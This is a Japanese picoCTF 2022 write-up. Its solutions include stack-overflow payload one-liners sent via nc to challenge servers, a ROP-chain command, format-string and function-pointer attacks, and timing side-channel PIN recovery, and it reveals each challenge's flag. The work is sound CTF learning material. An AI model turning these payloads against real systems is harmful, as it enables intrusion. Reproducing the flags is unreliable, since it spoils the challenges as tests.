picoCTF 2022 Writeup
Contents
URL: https://play.picoctf.org/events/70/challenges (イベント終了につき、アクセス不可)
今年は少しチャレンジ数が少なめ?だった気がします。
2週間ガッツリやるつもりだったんですが、だいたい最初の4〜5日くらいで解けるチャレンジは解いてしまったので、これにて終了。
またしばらくOSCPの勉強に没頭します。
最終結果は、こんな感じ。
11700点をとって、最終順位は 276位でした。
以下、Writeupです。多くの人が解いている簡単なやつは省略します。
[Crypto]: diffie-hellman (200 points)
Challenge
Alice and Bob wanted to exchange information secretly. The two of them agreed to use the Diffie-Hellman key exchange algorithm, using p = 13 and g = 5. They both chose numbers secretly where Alice chose 7 and Bob chose 3. Then, Alice sent Bob some encoded text (with both letters and digits) using the generated key as the shift amount for a Caesar cipher over the alphabet and the decimal digits. Can you figure out the contents of the message?
Wrap your decrypted message in the picoCTF flag format like: picoCTF{decrypted_message}
Hint1: Diffie-Hellman key exchange is a well known algorithm for generating keys, try looking up how the secret key is generated
Hint2: For your Caesar shift amount, try forwards and backwards.
Attachment:
- message.txt
中身
H98A9W_H6UM8W_6A_9_D6C_5ZCI9C8I_8F7GK99J
Solution
オンラインのツール(https://www.irongeek.com/diffie-hellman.php?)などで、shared keyが 5
なのがわかります。
以下のPythonでも出せます。
|
|
実行結果:
$ python3 diffie-hellman_solve.py Secret key for the Alice is : 5 Secret Key for the Bob is : 5
さて、あとは、message.txtにあるメッセージを5文字分シフトするだけなんですが、ここで問題発生です。
アルファベットをROTで、数字は数字でシフトしてみたところ、こうなりました。
C43V4R_C1PH3R_1V_4_Y1X_0UXD4X3D_3A2BF44E
なんとなく、`CAESER CIPHER` のLEET文字っぽいのは見て取れるので、後は間違っている箇所を修正するだけです。
結局、"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" のように、アルファベットを左にシフトすると数字になるというのを予想して解かないといけないやつでした。
|
|
Flag: picoCTF{C4354R_C1PH3R_15_4_817_0U7D473D_3A2BF44E}
かわいそうに、このチャレンジは、不評だからかpicoGymにも入らないことになってしまいましたね。
これはこれで、いいチャレンジだったとは思うんですけど。
AliceとBobが、このように暗号化しようと決めてやってるわけだし、簡単に解読できなくても納得はいきます。
いちおう、Discordでコメント入れておきました。
[Reverse]: Keygenme (400 points)
Challenge
Can you get the flag?
Reverse engineer this binary.
Attachment:
- keygenme (ELF 64-bit)
Solution
以下がGhidraでデコンパイルしたものです。
|
|
29〜33行のところで、picoCTF{br1ng_y0ur_0wn_k3y_}
の部分は見つかります。
あとは、acStack56の配列に入る値が必要です。
gdbを使って解きました。
strlen()が呼ばれているので、strlen()にbreak pointを張って、20数回c
でcontinueすると、この関数に辿り着きます。
途中でKeyの入力がありますが、そこでは picoCTF{br1ng_y0ur_0wn_k3y_8888888}
みたいのを入れておきます。
上記の63行目のif文で比較している箇所を見つけて、今度はそこにbreak pointを張ります。
例:b *0x555555555455
$raxの方が期待値(実際のフラグ)、$rdxの方が自分が入力した値です。
違いが見られたら、メモをとりつつ、$rdxの値を$raxに合わせてループを続けます。
例:set $rdx=0x64
メモった値:
0x39 0x64 0x37 0x34 0x64 0x39 0x30 0x64 0x7d
Flag: picoCTF{br1ng_y0ur_0wn_k3y_9d74d90d}
[Forensics]: SideChannel (400 points)
Challenge
There’s something fishy about this PIN-code checker, can you figure out the PIN and get the flag?
Download the PIN checker program here pin_checker
Once you’ve figured out the PIN (and gotten the checker program to accept it), connect to the master server using nc saturn.picoctf.net 50364 and provide it the PIN to get your flag.
Hint1: Read about “timing-based side-channel attacks.”
Hint2: Attempting to reverse-engineer or exploit the binary won’t help you, you can figure out the PIN just by interacting with it and measuring certain properties about it.
Hint3: Don’t run your attacks against the master server, it is secured against them. The PIN code you get from the pin_checker binary is the same as the one for the master ser
Attachment:
- pin_checker (ELF 32-bit)
Solution
まず最初にBrute Forceしてみたんですが、相当時間がかかりそうだったので諦めました。
(あとで記載しますが、このBrute Forceコードは、最後にちょっと使いました。)
いろいろ調べている間に、以下を見つけました。
https://github.com/ChrisTheCoolHut/PinCTF
結局、使い方がよくわからなくてこのツールは使わなかったのですが、このツールから呼ばれているIntel pintoolsを使って解きました。
最新版は以下にあります。
このKeygenmeプログラムは、どうやら先頭から一文字ずつKeyをチェックしていて、正解の場合は inscount.out に不正解時よりも大きい値が出てきます。
$ cat inscount.out Count 62530061$ rm inscount.out; ./pin/pin -t obj-ia32/inscount0.so – ./pin_checker «< 66666666 Please enter your 8-digit PIN code: 8 Checking PIN… Access denied. $ cat inscount.out Count 61571547
$ rm inscount.out; ./pin/pin -t obj-ia32/inscount0.so – ./pin_checker «< 55555555 Please enter your 8-digit PIN code: 8 Checking PIN… Access denied. $ cat inscount.out Count 61092281
$ rm inscount.out; ./pin/pin -t obj-ia32/inscount0.so – ./pin_checker «< 44444444 rm: cannot remove ‘inscount.out’: No such file or directory Please enter your 8-digit PIN code: 8 Checking PIN… Access denied. $ cat inscount.out Count 141609347
これで、先頭は4
で確定、ということです。
Tips
bash では、<<< を使うことで、入力待ちへの入力ができます。(shだとエラーになります)
あとは、ひたすらこの作業を繰り返していくだけです。
この作業は自動化したかったんですが、結局、途中まで手動でやりました。
残り4桁くらいになったところで序盤で作ったBrute Forceコードを使いました。
|
|
Keyは、48390513 でした。
$ nc saturn.picoctf.net 50364 Verifying that you are a human... Please enter the master PIN code: 48390513 Password correct. Here's your flag: picoCTF{t1m1ng_4tt4ck_914c5ec3}
Flag: picoCTF{t1m1ng_4tt4ck_914c5ec3}
[Forensics]: Torrent Analyze (400 points)
Challenge
SOS, someone is torrenting on our network.
One of your colleagues has been using torrent to download some files on the company’s network. Can you identify the file(s) that were downloaded? The file name will be the flag, like picoCTF{filename}.
Hint1: Download and open the file with a packet analyzer like Wireshark.
Hint2: You may want to enable BitTorrent protocol (BT-DHT, etc.) on Wireshark. Analyze -> Enabled Protocols
Hint3: Try to understand peers, leechers and seeds. Article
Hint4: The file name ends with .iso
Attachment:
- bt.pcap
Solution
まずはヒントに従って、WiresharkでBT-DHT, BT-uTPをEnableします。
Torrentのpcapなんか初めて見たし、仕様も全然知らなかったですが、".iso" というファイルの拡張子はpcapの中で見つからなかったので、pcapの何かの情報を元にネットでファイル名を探すんだろうな、という予想を立てました。
Frame #332で、`Zoo (2017) 720p WEB-DL x264 ESubs - MkvHub.Com` という文字列が出てくるのですが、これは該当するinfo_hash (17c1e42e811a83f12c697c21bed9c72b5cb3000d) をネットでググると確かに何かがヒットします(怪しいサイトです)。このファイルは ".iso" ではなかったです。
ということで、別のinfo_hashをWiresharkから一個ずつ取り出し、それぞれGoogleでチェックしました。
17d62de1495d4404f6fb385bdfd7ead5c897ea22 17c1e42e811a83f12c697c21bed9c72b5cb3000d - Zoo (2017) 720p WEB-DL x264 ESubs - MkvHub.Com d59b1ce3bf41f1d282c1923544629062948afadd 078e18df4efe53eb39d3425e91d1e9f4777d85ac 17c0c2c3b7825ba4fbe2f8c8055e000421def12c 17c02f9957ea8604bc5a04ad3b56766a092b5556 e2467cbf021192c241367b892230dc1e05c0580e - ubuntu-19.10-desktop-amd64.iso
Flag: picoCTF{ubuntu-19.10-desktop-amd64.iso}
[Binary]: buffer overflow 2 (300 points)
Challenge
Control the return address and arguments
This time you’ll need to control the arguments to the function you return to! Can you get the flag from this program?
Attachment:
- vuln (ELF 32-bit)
- vuln.c
Solution
これは picoCTF 2019のOverFlow 2 とほぼ同じです。
Python2:
captureamerica@kali:Pwn$ (python -c 'print("A"*112+"\x96\x92\x04\x08"+"BBBB"+"\x0D\xF0\xFE\xCA"+"\x0D\xF0\x0D\xF0")'; cat -) | nc saturn.picoctf.net 53371 Please enter your string: ���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB picoCTF{argum3nt5_4_d4yZ_31432deb}
Python3:
captureamerica@ubuntu:Pwn$ (python -c 'import sys; sys.stdout.buffer.write(b"A"*112 + b"\x96\x92\x04\x08" + b"BBBB" + b"\x0D\xF0\xFE\xCA" + b"\x0D\xF0\x0D\xF0" + b"\n")'; cat - ) | nc saturn.picoctf.net 52189 Please enter your string: ���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB picoCTF{argum3nt5_4_d4yZ_920d6844}
Flag: picoCTF{argum3nt5_4_d4yZ_31432deb}
[Binary]: buffer overflow 3 (300 points)
Challenge
Do you think you can bypass the protection and get the flag?
It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows.
Attachment:
- vuln (ELF 32-bit)
- vuln.c
Solution
これは picoCTF 2019のCanaRy とほぼ同じです。
前回は、Shell Server上でローカルでアタックできましたが、今回はサーバー インスタンスを都度起動しないといけなくて、リモートで解く必要がありました(たぶん)。
|
|
これで、Canaryの値 BiRd
が得られます。
あとは、以下の通りです。
|
|
Flag: picoCTF{Stat1C_c4n4r13s_4R3_b4D_9602b3a1}
[Binary]: flag leak (300 points)
Challenge
Story telling class 1/2
I’m just copying and pasting with this program. What can go wrong?
Attachment:
- vuln
- vuln.c
Solution
書式文字列攻撃 (FSB: Format String Bug) です。
|
|
Flag: picoCTF{L34k1ng_Fl4g_0ff_St4ck_c2e94e3d}
[Binary]: ropfu (300 points)
Challenge
Description What’s ROP?
Can you exploit the following program to get the flag?
Attachment:
- vuln (ELF 32-bit)
- vuln.c
Solution
これは picoCTF 2019のrop32 とほぼ同じです。
$ ROPgadget --binary ./vuln --ropchain --badbytes 0a
|
|
Flag: picoCTF{5n47ch_7h3_5h311_c6992ff0}
[Binary]: wine (300 points)
Challenge
Challenge best paired with wine.
I love windows. Checkout my exe running on a linux box.
Attachment:
- vuln.exe
- vuln.c
Solution
最初、Ghidraでよくわからなかったので、Immunity Debuggerで見てみました。
win()関数のアドレスは、0x401530のようです。
Ghidraでも確認できました。
以下が書いたコードです。
s.sendlineafter()のところでは、pcapで見たところ改行が 0d0a
で来ていたので \r\n
でパターンを指定しています。Windowsだからね。
|
|
実行結果:
$ ./wine_solve.py [+] Opening connection to saturn.picoctf.net on port 61540: Done [*] Switching to interactive mode picoCTF{Un_v3rr3_d3_v1n_cdac4d01} Unhandled exception: page fault on read access to 0x00000000 in 32-bit code (0x00000000). Register dump: CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063 EIP:00000000 ESP:0064fe8c EBP:00401530 EFLAGS:00010206( R- -- I - -P- ) EAX:00000000 EBX:00230e78 ECX:0064fe1c EDX:7fec48f4 ESI:00000005 EDI:006d2250 Stack dump: 0x0064fe8c: 00000000 7b432ecc 00230e78 0064ff28 0x0064fe9c: 00401386 00000002 00230e70 0021d220 0x0064feac: 7bcc4625 00000004 00000008 00230e70 0x0064febc: 006d2250 00050c4d 17e5a340 00000000 0x0064fecc: 00000000 00000000 00000000 00000000 0x0064fedc: 00000000 00000000 00000000 00000000 Backtrace: =>0 0x00000000 (0x00401530) 1 0x44c768ec (0x83e58955) 0x00000000: -- no code accessible -- Modules: Module Address Debug info Name (5 modules) PE 400000- 44b000 Deferred vuln PE 7b020000-7b023000 Deferred kernelbase PE 7b420000-7b5db000 Deferred kernel32 PE 7bc30000-7bc34000 Deferred ntdll PE 7fe10000-7fe14000 Deferred msvcrt Threads: process tid prio (all id:s are in hex) 00000008 (D) Z:\challenge\vuln.exe 00000009 0 <== 0000000e services.exe 00000026 0 00000025 0 00000024 0 00000015 0 00000010 0 0000000f 0 00000011 plugplay.exe 00000019 0 00000018 0 00000012 0 00000022 winedevice.exe 00000028 0 00000027 0 00000023 0 System information: Wine build: wine-5.0 (Ubuntu 5.0-3ubuntu1) Platform: i386 Version: Windows 7 Host system: Linux Host version: 5.13.0-1017-aws [*] Got EOF while reading in interactive
Flag: picoCTF{Un_v3rr3_d3_v1n_cdac4d01}
[Binary]: function overwrite (400 points)
Challenge
Story telling class 2/2
You can point to all kinds of things in C. Checkout our function pointers demo program.
Attachment:
- vuln (ELF 32-bit)
- vuln.c
中身:
|
|
Solution
グローバル変数 fun[] の近くに関数へのポインタがあって、これを書き換えるというものです。
scanf()があって、num1とnum2に任意の値が設定できます。
num1には10未満の数字しか入力できないですが、signed intなので負の数が設定できます。
gdbを使って試行錯誤で値を見つけました。チェックするのは以下の辺りです。
→ 0x804960dmov DWORD PTR [ebx+eax*4+0x80], edx 0x8049614 mov esi, DWORD PTR [ebx+0x40]
num1に入れるのは、-16
でした。
num2の値は、+=
で使われるので、hard_checker()とeasy_checker()の差分を入れます。
ただし、これもgdbを使って試行錯誤が必要でした。
num2に入れるのは、-314
でした。
これで、関数へのポインタが入っている check がeasy_checker()のポインタに書き換わります。
あとは、そんなに難しくないです。storyとして入力した文字の値の合計が1337になれば、フラグゲットです。
hogehogehogeP
にしました (笑)
実行結果:
$ nc saturn.picoctf.net 50812 Tell me a story and then I'll tell you if you're a 1337 >> hogehogehogeP On a totally unrelated note, give me two numbers. Keep the first one less than 10. -16 -310 You're 1337. Here's the flag. picoCTF{0v3rwrit1ng_P01nt3rs_85b55543}
Flag: picoCTF{0v3rwrit1ng_P01nt3rs_85b55543}
[Binary]: stack cache (400 points)
Challenge
Undefined behaviours are fun.
It looks like Dr. Oswal allowed buffer overflows again. Analyse this program to identify how you can get to the flag.
Hint1: Maybe there is content left over from stack?
Hint2: Try compiling it with gcc and clang-12 to see how the binaries differ
Attachment:
- vuln (ELF 32-bit)
- vuln.c
中身:
|
|
Solution
以下、Checksecの結果です。
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found <<< NX: NX enabled PIE: No PIE (0x8048000)
Canaryが有効になっているので、どうしたもんだろうと思っていたんですが、どうやらclangでコンパイルするとCanaryが動かない(?)らしいです。
参考:
https://stackoverflow.com/questions/49128025/stack-smashing-in-gcc-vs-clang-possibly-due-to-canaries
“I am trying to understand possible sources for “stack smashing” errors in GCC, but not Clang."
clang-12 をインストールして、clang-12とgccとでそれぞれコンパイルしてみました。
以下が結果です。
$ ./stack_cache_gcc.o Give me a string that gets you the flag 12345678901234567890 12345678901234567890 *** stack smashing detected ***: terminated Aborted (core dumped) $ ./stack_cache_clang.o Give me a string that gets you the flag 12345678901234567890 12345678901234567890 Segmentation fault (core dumped)
Clang-12の方は確かに、stack smashing が検知されないようです。
結局のところ、このチャレンジはBOFを起こして任意の関数へジャンプするだけです。
win()関数では Flag の値を読み込んではいるものの、printf()での表示処理がありません。
一方、UnderConstruction()の方は、初期化してない変数をprintf()で表示しています。
よって、win()、UnderConstruction()へ順番に飛ぶことでフラグが得られる、というものです。
実行結果:
Python2
captureamerica@kali:Pwn$ (python -c 'print("A"*14+"\xa0\x9d\x04\x08"+"\x20\x9e\x04\x08")'; cat -) | nc saturn.picoctf.net 51588 Give me a string that gets you the flag AAAAAAAAAAAAAA� � User information : 0x80c9a04 0x804007d 0x34663136 0x35313135 0x5f597230 0x6d334d5f Names of user: 0x50755f4e 0x34656c43 0x7b465443 Age of user: 0x6f636970
Python3
captureamerica@ubuntu:Pwn$ (python -c 'import sys; sys.stdout.buffer.write(b"A"*14 + b"\xa0\x9d\x04\x08" + b"\x20\x9e\x04\x08" + b"\n")'; cat - ) | nc saturn.picoctf.net 58213 Give me a string that gets you the flag AAAAAAAAAAAAAA� � User information : 0x80c9a04 0x804007d 0x34663136 0x35313135 0x5f597230 0x6d334d5f Names of user: 0x50755f4e 0x34656c43 0x7b465443 Age of user: 0x6f636970
文字に変換すると、フラグが得られていることがわかります。
7d : } 0x34663136: 4f16 0x35313135: 5115 0x5f597230: _Yr0 0x6d334d5f: m3M_ 0x50755f4e: Pu_N 0x34656c43: 4elC 0x7b465443: {FTC 0x6f636970: ocip
$ echo "}4f165115_Yr0m3M_Pu_N4elC{FTCocip" | rev picoCTF{Cle4N_uP_M3m0rY_511561f4}
Flag: picoCTF{Cle4N_uP_M3m0rY_511561f4}
Author CaptureAmerica @ CTF フラxxグゲット
LastMod 2022-04-06